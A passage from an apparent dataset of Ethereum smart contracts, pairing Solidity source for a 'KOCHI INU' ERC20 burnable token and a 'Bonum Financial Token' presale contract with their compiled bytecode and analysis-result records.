transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract KOCHI is BurnableToken { string public constant name = "KOCHI INU"; string public constant symbol = "KOCHI"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a15565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdb565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6c565b6040518082815260200191505060405180910390f35b6103b1610eb5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f12565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e6565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e2565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611369565b005b6040518060400160405280600981526020017f4b4f43484920494e55000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b890919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a66038d7ea4c680000281565b60008111610a2257600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6e57600080fd5b6000339050610ac582600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1d826001546114b890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cec576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d80565b610cff83826114b890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f4b4f43484900000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4d57600080fd5b610f9f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113fb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c457fe5b818303905092915050565b6000808284019050838110156114e157fe5b809150509291505056fea26469706673582212201bdca752bde5871184604908dc5a099a3951ecc01838539ec656bb7385a8164064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,932
0x4e9992c9b97873a39e264832972f29ce672ebaf1
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract InvestorsList is Ownable { using SafeMath for uint; /* Investor */ enum WhiteListStatus {Usual, WhiteList, PreWhiteList} struct Investor { bytes32 id; uint tokensCount; address walletForTokens; WhiteListStatus whiteListStatus; bool isVerified; } /*Investor&#39;s end*/ mapping (address => bool) manipulators; mapping (address => bytes32) public nativeInvestorsIds; mapping (bytes32 => Investor) public investorsList; /*Manipulators*/ modifier allowedToManipulate(){ require(manipulators[msg.sender] || msg.sender == owner); _; } function changeManipulatorAddress(address saleAddress, bool isAllowedToManipulate) external onlyOwner{ require(saleAddress != 0x0); manipulators[saleAddress] = isAllowedToManipulate; } /*Manipulators&#39; end*/ function setInvestorId(address investorAddress, bytes32 id) external onlyOwner{ require(investorAddress != 0x0 && id != 0); nativeInvestorsIds[investorAddress] = id; } function addInvestor( bytes32 id, WhiteListStatus status, bool isVerified ) external onlyOwner { require(id != 0); require(investorsList[id].id == 0); investorsList[id].id = id; investorsList[id].tokensCount = 0; investorsList[id].whiteListStatus = status; investorsList[id].isVerified = isVerified; } function removeInvestor(bytes32 id) external onlyOwner { require(id != 0 && investorsList[id].id != 0); investorsList[id].id = 0; } function isAllowedToBuyByAddress(address investor) external view returns(bool){ require(investor != 0x0); bytes32 id = nativeInvestorsIds[investor]; require(id != 0 && investorsList[id].id != 0); return investorsList[id].isVerified; } function isAllowedToBuyByAddressWithoutVerification(address investor) external view returns(bool){ require(investor != 0x0); bytes32 id = nativeInvestorsIds[investor]; require(id != 0 && investorsList[id].id != 0); return true; } function isAllowedToBuy(bytes32 id) external view returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].isVerified; } function isPreWhiteListed(bytes32 id) external constant returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].whiteListStatus == WhiteListStatus.PreWhiteList; } function isWhiteListed(bytes32 id) external view returns(bool){ require(id != 0 && investorsList[id].id != 0); return investorsList[id].whiteListStatus == WhiteListStatus.WhiteList; } function setVerificationStatus(bytes32 id, bool status) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].isVerified = status; } function setWhiteListStatus(bytes32 id, WhiteListStatus status) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].whiteListStatus = status; } function addTokens(bytes32 id, uint tokens) external allowedToManipulate{ require(id != 0 && investorsList[id].id != 0); investorsList[id].tokensCount = investorsList[id].tokensCount.add(tokens); } function subTokens(bytes32 id, uint tokens) external allowedToManipulate{ require(id != 0 && investorsList[id].id != 0); investorsList[id].tokensCount = investorsList[id].tokensCount.sub(tokens); } function setWalletForTokens(bytes32 id, address wallet) external onlyOwner{ require(id != 0 && investorsList[id].id != 0); investorsList[id].walletForTokens = wallet; } } contract BonumFinancialTokenPreSale is Pausable{ using SafeMath for uint; string public constant name = "Bonum Financial Token PreSale"; uint public startDate; uint public endDate; uint public whiteListPreSaleDuration = 1 days; function setWhiteListDuration(uint duration) external onlyOwner{ require(duration > 0); whiteListPreSaleDuration = duration * 1 days; } uint public fiatValueMultiplier = 10**6; uint public tokenDecimals = 10**18; InvestorsList public investors; address beneficiary; uint public ethUsdRate; uint public collected = 0; uint public tokensSold = 0; uint public tokensSoldWithBonus = 0; uint[] firstColumn; uint[] secondColumn; event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount); function BonumFinancialTokenPreSale( uint _startDate, uint _endDate, address _investors, address _beneficiary, uint _baseEthUsdRate ) public { startDate = _startDate; endDate = _endDate; investors = InvestorsList(_investors); beneficiary = _beneficiary; ethUsdRate = _baseEthUsdRate; initBonusSystem(); } function initBonusSystem() private{ firstColumn.push(1750000); firstColumn.push(10360000); firstColumn.push(18980000); firstColumn.push(25000000); secondColumn.push(1560000); secondColumn.push(9220000); secondColumn.push(16880000); secondColumn.push(22230000); } function setNewBeneficiary(address newBeneficiary) external onlyOwner { require(newBeneficiary != 0x0); beneficiary = newBeneficiary; } function setEthUsdRate(uint rate) external onlyOwner { require(rate > 0); ethUsdRate = rate; } function setNewStartDate(uint newStartDate) external onlyOwner{ require(newStartDate > 0); startDate = newStartDate; } function setNewEndDate(uint newEndDate) external onlyOwner{ require(newEndDate > 0); endDate = newEndDate; } function setNewInvestorsList(address investorsList) external onlyOwner { require(investorsList != 0x0); investors = InvestorsList(investorsList); } modifier activePreSale(){ require(now >= startDate && now < endDate); _; } modifier underCap(){ require(tokensSold < uint(750000).mul(tokenDecimals)); _; } modifier isAllowedToBuy(){ require(investors.isAllowedToBuyByAddressWithoutVerification(msg.sender)); _; } modifier minimumAmount(){ require(msg.value.mul(ethUsdRate).div(fiatValueMultiplier.mul(1 ether)) >= 100); _; } function() payable public whenNotPaused activePreSale minimumAmount underCap isAllowedToBuy{ bytes32 id = investors.nativeInvestorsIds(msg.sender); uint tokens = msg.value.mul(ethUsdRate).div(fiatValueMultiplier); tokensSold = tokensSold.add(tokens); tokens = tokens.add(calculateBonus(id, tokens)); tokensSoldWithBonus = tokensSoldWithBonus.add(tokens); NewContribution(msg.sender, tokens, msg.value); collected = collected.add(msg.value); investors.addTokens(id, tokens); beneficiary.transfer(msg.value); } //usd * 10^6 function otherCoinsPurchase(bytes32 id, uint amountInUsd) external whenNotPaused underCap activePreSale onlyOwner { require(id.length > 0 && amountInUsd >= (uint(100).mul(fiatValueMultiplier)) && investors.isAllowedToBuy(id)); uint tokens = amountInUsd.mul(tokenDecimals).div(fiatValueMultiplier); tokensSold = tokensSold.add(tokens); tokens = tokens.add(calculateBonus(id, tokens)); tokensSoldWithBonus = tokensSoldWithBonus.add(tokens); investors.addTokens(id, tokens); } function calculateBonus(bytes32 id, uint tokensCount) public constant returns (uint){ if (now < (startDate.add(whiteListPreSaleDuration))) { require(tokensCount >= 3000 * tokenDecimals); if (investors.isPreWhiteListed(id)) { return tokensCount.mul(35).div(100); } return tokensCount.mul(25).div(100); } //+1 because needs whole days uint day = ((now.sub(startDate.add(whiteListPreSaleDuration))).div(1 days)).add(1); uint B1; uint B2; if (tokensCount < uint(1000).mul(tokenDecimals)) { B1 = (((tokensCount - 100 * tokenDecimals) * (firstColumn[1] - firstColumn[0])) / ((1000-100) * tokenDecimals)) + firstColumn[0]; B2 = (((tokensCount - 100 * tokenDecimals) * (secondColumn[1] - secondColumn[0])) / ((1000-100) * tokenDecimals)) + secondColumn[0]; } if (tokensCount >= uint(1000).mul(tokenDecimals) && tokensCount < uint(10000).mul(tokenDecimals)) { B1 = (((tokensCount - 1000 * tokenDecimals) * (firstColumn[2] - firstColumn[1])) / ((10000-1000) * tokenDecimals)) + firstColumn[1]; B2 = (((tokensCount - 1000 * tokenDecimals) * (secondColumn[2] - secondColumn[1])) / ((10000-1000) * tokenDecimals)) + secondColumn[1]; } if (tokensCount >= uint(10000).mul(tokenDecimals) && tokensCount < uint(50000).mul(tokenDecimals)) { B1 = (((tokensCount - 10000 * tokenDecimals) * (firstColumn[3] - firstColumn[2])) / ((50000-10000) * tokenDecimals)) + firstColumn[2]; B2 = (((tokensCount - 10000 * tokenDecimals) * (secondColumn[3] - secondColumn[2])) / ((50000-10000) * tokenDecimals)) + secondColumn[2]; } if (tokensCount >= uint(50000).mul(tokenDecimals)) { B1 = firstColumn[3]; B2 = secondColumn[3]; } uint bonusPercent = B1.sub(((day - 1).mul(B1 - B2)).div(12)); return calculateBonusTokensAmount(tokensCount, bonusPercent); } function calculateBonusTokensAmount(uint tokensCount, uint bonusPercent) private constant returns(uint){ uint bonus = tokensCount.mul(bonusPercent); bonus = bonus.div(100); bonus = bonus.div(fiatValueMultiplier); return bonus; } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146105ad5780630b97bc861461063b57806313f0790c14610664578063145fa8901461068d5780631e860d43146106b05780632820f454146106e95780633b478fc5146107225780633b97e8561461074b5780633f4ba83a1461077457806350449d9d14610789578063518ab2a8146107b25780635c975abb146107db5780636621b7be146108085780636cc6971b146108315780638456cb591461085457806384bcefd4146108695780638ac27f5f146108925780638da5cb5b146108e7578063aa6bf6871461093c578063ae7e23cc14610980578063b9e4d098146109b0578063c24a0f8b146109d3578063f2fde38b146109fc578063fb6f93a414610a35575b600080600060149054906101000a900460ff1615151561015d57600080fd5b6001544210158015610170575060025442105b151561017b57600080fd5b60646101c061019d670de0b6b3a7640000600454610a5890919063ffffffff16565b6101b260085434610a5890919063ffffffff16565b610a8b90919063ffffffff16565b101515156101cd57600080fd5b6101e5600554620b71b0610a5890919063ffffffff16565b600a541015156101f457600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632d045780336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156102b057600080fd5b5af115156102bd57600080fd5b5050506040518051905015156102d257600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166305d5a1f6336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561038e57600080fd5b5af1151561039b57600080fd5b5050506040518051905091506103d06004546103c260085434610a5890919063ffffffff16565b610a8b90919063ffffffff16565b90506103e781600a54610aa690919063ffffffff16565b600a819055506104096103fa8383610ac4565b82610aa690919063ffffffff16565b905061042081600b54610aa690919063ffffffff16565b600b819055503373ffffffffffffffffffffffffffffffffffffffff167f16d99cb06fd9528f88184dd0483174a09cfd8312c28639858734b0c449cc05b88234604051808381526020018281526020019250505060405180910390a261049134600954610aa690919063ffffffff16565b600981905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc0409bf83836040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b151561053757600080fd5b5af1151561054457600080fd5b505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156105a957600080fd5b5050005b34156105b857600080fd5b6105c0611065565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106005780820151818401526020810190506105e5565b50505050905090810190601f16801561062d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064657600080fd5b61064e61109e565b6040518082815260200191505060405180910390f35b341561066f57600080fd5b6106776110a4565b6040518082815260200191505060405180910390f35b341561069857600080fd5b6106ae60048080359060200190919050506110aa565b005b34156106bb57600080fd5b6106e7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611123565b005b34156106f457600080fd5b610720600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111e8565b005b341561072d57600080fd5b6107356112ad565b6040518082815260200191505060405180910390f35b341561075657600080fd5b61075e6112b3565b6040518082815260200191505060405180910390f35b341561077f57600080fd5b6107876112b9565b005b341561079457600080fd5b61079c611377565b6040518082815260200191505060405180910390f35b34156107bd57600080fd5b6107c561137d565b6040518082815260200191505060405180910390f35b34156107e657600080fd5b6107ee611383565b604051808215151515815260200191505060405180910390f35b341561081357600080fd5b61081b611396565b6040518082815260200191505060405180910390f35b341561083c57600080fd5b610852600480803590602001909190505061139c565b005b341561085f57600080fd5b610867611410565b005b341561087457600080fd5b61087c6114d0565b6040518082815260200191505060405180910390f35b341561089d57600080fd5b6108a56114d6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108f257600080fd5b6108fa6114fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561094757600080fd5b61096a600480803560001916906020019091908035906020019091905050610ac4565b6040518082815260200191505060405180910390f35b341561098b57600080fd5b6109ae600480803560001916906020019091908035906020019091905050611521565b005b34156109bb57600080fd5b6109d160048080359060200190919050506117fd565b005b34156109de57600080fd5b6109e6611871565b6040518082815260200191505060405180910390f35b3415610a0757600080fd5b610a33600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611877565b005b3415610a4057600080fd5b610a5660048080359060200190919050506119cc565b005b60008082840290506000841480610a795750828482811515610a7657fe5b04145b1515610a8157fe5b8091505092915050565b6000808284811515610a9957fe5b0490508091505092915050565b6000808284019050838110151515610aba57fe5b8091505092915050565b6000806000806000610ae3600354600154610aa690919063ffffffff16565b421015610c0f57600554610bb8028610151515610aff57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638cbba6cf886040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b1515610b9757600080fd5b5af11515610ba457600080fd5b5050506040518051905015610be157610bda6064610bcc602389610a5890919063ffffffff16565b610a8b90919063ffffffff16565b945061105b565b610c086064610bfa601989610a5890919063ffffffff16565b610a8b90919063ffffffff16565b945061105b565b610c606001610c5262015180610c44610c35600354600154610aa690919063ffffffff16565b42611a4090919063ffffffff16565b610a8b90919063ffffffff16565b610aa690919063ffffffff16565b9350610c796005546103e8610a5890919063ffffffff16565b861015610d6557600c6000815481101515610c9057fe5b90600052602060002090015460055461038402600c6000815481101515610cb357fe5b906000526020600020900154600c6001815481101515610ccf57fe5b90600052602060002090015403600554606402890302811515610cee57fe5b04019250600d6000815481101515610d0257fe5b90600052602060002090015460055461038402600d6000815481101515610d2557fe5b906000526020600020900154600d6001815481101515610d4157fe5b90600052602060002090015403600554606402890302811515610d6057fe5b040191505b610d7c6005546103e8610a5890919063ffffffff16565b8610158015610da05750610d9d600554612710610a5890919063ffffffff16565b86105b15610e8c57600c6001815481101515610db557fe5b90600052602060002090015460055461232802600c6001815481101515610dd857fe5b906000526020600020900154600c6002815481101515610df457fe5b906000526020600020900154036005546103e802890302811515610e1457fe5b04019250600d6001815481101515610e2857fe5